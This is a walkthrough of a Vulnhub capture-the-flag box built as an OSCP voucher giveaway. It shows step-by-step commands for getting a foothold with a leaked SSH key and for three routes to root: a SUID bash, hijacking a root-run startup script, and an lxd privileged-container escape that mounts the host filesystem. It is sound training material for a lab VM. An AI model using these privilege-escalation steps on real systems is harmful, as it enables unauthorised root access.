InfoSec Prep: OSCP VulnhubWalkthrough

8 min readAug 7, 2020



The InfoSec Prep Discord server ( ) works closely with the Offensive Security staff. As such, OffSec gave our server an OSCP voucher code to give away.

The voucher code will allow anyone to have 30 days in the labs, receive the course materials (videos + PDF), and most importantly the exam attempt.

The staff for InfoSec Prep wanted to create a challenge for the give away rather than do a typical “click this emoji” and pray to the RNG based gods that you win. No, we decided it would be best to create what we considered to be an easy box. We chose this level to allow entrants of all backgrounds to try to win this voucher.

So we created a box and posted it on VulnHub:,508/

The rules for this box and give away were simple. Perform a boot-to-root penetration test against our box, obtain the root flag, and submit it to our Discord bot: TryHarder.

Once you submitted the flag that’s it you were entered into the give away.

After user’s started pouring into the exclusive channel for proper flag submissions, we learned about some unintended privilege escalation methods for this box we created. In total, there was 1 intended foot hold path, 1 intended root path, and 3 unintended root paths discovered.

In this walkthrough we will cover the intended path and 2 of the 3 unintended paths. The path we will not cover is from a physical access perspective of the VM. Since this is something you wouldn’t have access to in the OSCP Labs or Exam we won’t be covering it.

Intended Path

Foothold / User Access

Upon booting up our VM you should be presented with a login screen and the IP address of the box. The IP is displayed to make things easier for beginners. Normally during a penetration test, you might have to scan for the target unless you are exclusively told to attack a set of targets.

So at this point you would kick off your nmap scan with whatever NSE scripts and options you would want to throw at this box.

You’ll see it’s running a few services. You’ll want to check out the web service its running.

Now at this point depending on what nmap NSE scripts you ran, you may already see something interesting. If not then you may have already kicked off some Nikto, gobuster/dirsearch/dirb/dirbuster scans to look for more interesting things. You might have even visited the webpage (which holds a key piece of information):

The user to the box is oscp per the only hint we gave you for this box.

By now your web based scanning tools should have came back with something interesting. Specifically the robots.txt file or maybe it already found the secret.txt file. Upon visiting this file you will see a bunch of text which was actually base64 encoded:

Throw the base64 encoded text through base64 decoder via cat file.txt | base64 -d and you’ll actually see it’s a private key to the oscp user: (I chose to just curl it for my below example)

> curl | base64 -d
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3502 100 3502 0 0 12170 0 --:--:-- --:--:-- --:--:-- 12202

Copy this into a file like id_rsa or whatever you choose to name it.

Then simply ssh oscp@IP_ADDRESS -i id_rsa and you are in!

Intended Privilege Escalation: suid bash binary

Once you’re in the system you’ll probably kick off one or many post-exploitation scripts like: Linux Smart Enumeration, LinPEAS, etc.

You might have noticed the permissions on /bin/bash are a bit off. Usually /bin/bash does not have the setuid bit set:

From here you would simply type /bin/bash -p to get root:

Unintended Privilege Escalation #1: ip script

The write up for this method was done by tjc_#5043 on Discord

Gathering Info

Once logged in as the oscp user you can see that the ip script is in the oscp home directory. It is owned by root but we have the ability to read it.

To see how it is called we can run a grep search. The most likely spot to search is the /etc/ directory:

grep -r "/home/oscp/ip" /etc/

This returns:


We can then check the ip-update service to see exactly how it is called.

cat /etc/systemd/system/ip-update.service

Which returns:

Description=Write current ip addr to /etc/issue

Since no user information is present we know that the ip script is run as root. Since the script is in the oscp user directory we can rename the current script and create our own that will be run as root.

Listing /root/ Files

The WordPress post tells us the flag is in the /root/ directory. So the first step is to list all the files in that directory. Rename the current ip script, create a new one and make it executable:

cd /home/oscp/
mv ip ip.old
touch ip
chmod +x ip

Edit the new ip script with the following:

ls -la /root/ > /home/oscp/ls.txt

Now reboot the virtual machine. When it reboots our script will be run and we see the following:

-bash-5.0$ cat ls.txt
total 64
drwx------ 6 root root 4096 Jul 11 17:21 .
drwxr-xr-x 20 root root 4096 Jul 25 16:10 ..
-rw------- 1 root root 258 Jul 11 17:35 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Jul 9 08:19 .cache
-rwxr-xr-x 1 root root 248 Jul 11 17:15 fix-wordpress
-rw-r--r-- 1 root root 33 Jul 9 06:39 flag.txt
drwxr-xr-x 3 root root 4096 Jul 9 18:27 .local
-rw------- 1 root root 1893 Jul 11 17:21 .mysql_history
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 66 Jul 11 17:15 .selected_editor
drwxr-xr-x 3 root root 4096 Jul 9 03:38 snap
drwx------ 2 root root 4096 Jul 9 03:38 .ssh
-rw------- 1 root root 9922 Jul 11 17:15 .viminfo

Retrieving the Flag

Now we know the name of the file, we can edit the ip script once again to copy the contents to the oscp user directory:

cp /root/flag.txt /home/oscp/flag.txt
chown oscp:oscp /home/oscp/flag.txt

One more reboot and the flag will be located in the oscp home directory and owned by oscp.

-rw-r--r-- 1 oscp oscp   33 Jul 25 16:19 flag.txt
-rwxrwxr-x 1 oscp oscp 84 Jul 25 16:18 ip
-rwxr-xr-x 1 root root 88 Jul 9 08:15 ip.old
-rw-r--r-- 1 root root 721 Jul 25 16:13 ls.txt

Unintended Privilege Escalation #2: lxd/lxc

The write up for this method was done by TrenchesofIT (JJ)#5548 on Discord — you may view his write up at

oscp user’s groups

-bash-5.0$ id
uid=1000(oscp) gid=1000(oscp) groups=1000(oscp),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

Downloading lxd-alpine-builder github repo

kali@kali:~/tools/lxd/$ git clone
kali@kali:~/tools/lxd/$ cd lxd-alpine-builder/
kali@kali:~/tools/lxd/lxd-alpine-builder/$ ./build-alpine
kali@kali:~/tools/lxd/lxd-alpine-builder$ ls
alpine-v3.12-x86_64-20200719_2153.tar.gz build-alpine LICENSE

Downloading to Victim

Running a simple web service on our Kali

kali@kali:~/tools/lxd/lxd-alpine-builder$ sudo python -m SimpleHTTPServer 80
[sudo] password for kali:
Serving HTTP on port 80 ...

Downloading it on our victim

-bash-5.0$ wget
--2020-07-22 23:44:35--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3186439 (3.0M) [application/gzip]
Saving to: 'alpine-v3.12-x86_64-20200719_2153.tar.gz.1'
alpine-v3.12-x86_64-20200719_21 100%[=======================================================>] 3.04M --.-KB/s in 0.04s 2020-07-22 23:44:35 (86.6 MB/s) - 'alpine-v3.12-x86_64-20200719_2153.tar.gz.1' saved [3186439/3186439]

The LXD Setup

LXC is not in the default bin so lets find out where we need to specify execution from.

-bash-5.0$ find / -name lxc > lxcsearch.txt
-bash-5.0$ head lxcsearch.txt

/snap/bin/lxc is what I use for LXC commands moving forward. Lets import the image.

-bash-5.0$ /snap/bin/lxc image import ./alpine-v3.12-x86_64-20200719_2153.tar.gz --alias trenchesofit
Image imported with fingerprint: e279d5bc0806b79884c8a0cf7952c86a53d9da5a23b7e13ee75b42628118b8f9
-bash-5.0$ /snap/bin/lxc image list
| trenchesofit | e279d5bc0806 | no | alpine v3.12 (20200719_21:53) | x86_64 | CONTAINER | 3.04MB | Jul 22, 2020 at 11:59pm (UTC) |

Create a storage pool and assign storage location.

-bash-5.0$ /snap/bin/lxc storage create pool dir
Storage pool pool created
-bash-5.0$ /snap/bin/lxc profile device add default root disk path=/ pool=pool
Device root added to default
-bash-5.0$ /snap/bin/lxc storage list
| pool | | dir | /var/snap/lxd/common/lxd/storage-pools/pool | 1 |

Initiate the instance using the name “trenchesofit” or the alias specified during the image import.

-bash-5.0$ /snap/bin/lxc init trenchesofit ignite -c security.privileged=true
Creating ignite

The instance you are starting doesn't have any network attached to it.
To create a new network, use: lxc network create
To attach a network to an instance, use: lxc network attach

Mount the host file system and start the instance.

-bash-5.0$ /snap/bin/lxc config device add ignite trenches disk source=/ path=/mnt/root recursive=true
Device trenches added to ignite

-bash-5.0$ /snap/bin/lxc start ignite

Now execute bash on the container. You will see we are now root on the container.

-bash-5.0$ /snap/bin/lxc exec ignite /bin/sh
~ #
~ # id
uid=0(root) gid=0(root)

We initially mounted the host file system in the /mnt/root of the container.

/mnt/root # ls
bin dev lib libx32 mnt root snap sys var
boot etc lib32 lost+found opt run srv tmp
cdrom home lib64 media proc sbin swap.img usr

Now we have permissions to navigate to /mnt/root/root and view the flag.txt

/ # cd /mnt/root/root
/mnt/root/root # ls
fix-wordpress flag.txt snap
/mnt/root/root # cat flag.txt